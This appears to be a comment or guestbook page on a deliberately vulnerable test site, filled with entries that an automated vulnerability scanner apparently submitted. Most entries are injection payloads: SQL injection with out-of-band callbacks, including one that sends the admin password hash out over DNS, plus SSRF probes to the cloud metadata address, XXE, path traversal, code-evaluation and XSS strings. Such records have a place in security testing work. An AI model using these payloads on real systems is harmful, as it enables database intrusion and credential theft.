+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ '{${print(int)0xFFF9999-22}}' +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ {php}print(int)0xFFF9999-22;{/php} +

+
+

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR X='ss

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR 17-7=10

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ "+print(int)0xFFF9999-22+" +

+
+

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

'+NSFTW+'

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1' OR 1=1 OR 'ns'='ns

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

1 AND 'NS='ss

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ '+print(int)0xFFF9999-22+' +

+
+

NSFTW

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

NS1NO

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +print(int)0xFFF9999-22;// +

+
+

'

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ print(int)0xFFF9999-22; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ print(int)0xFFF9999-22 +

+
+

1))exec('xp_dirtree ''\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1))exec('xp_dirtree ''\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ <% response.write(268409241-22) %> +

+
+

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.0.0.1:3306

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.100.11.2:22

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ "+response.write(268409241-22)+" +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ +response.write(268409241-22)' +

+
+

1;exec('xp_dirtree ''\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://169.254.169.254/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

1;exec('xp_dirtree ''\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ response.write(268409241-22)' +

+
+

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://aws.r87.me/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

127.0.0.1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

::1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

127.100.11.2/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

54.204.37.212/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

%27

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

testsparker.com/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://testsparker.com/elmah

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.0.0.1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me +

+
+

::1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.100.11.2/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

54.204.37.212/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

127.0.0.1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

::1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

127.100.11.2/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

54.204.37.212/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

testsparker.com/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://testsparker.com/trace.axd

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

https://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

+

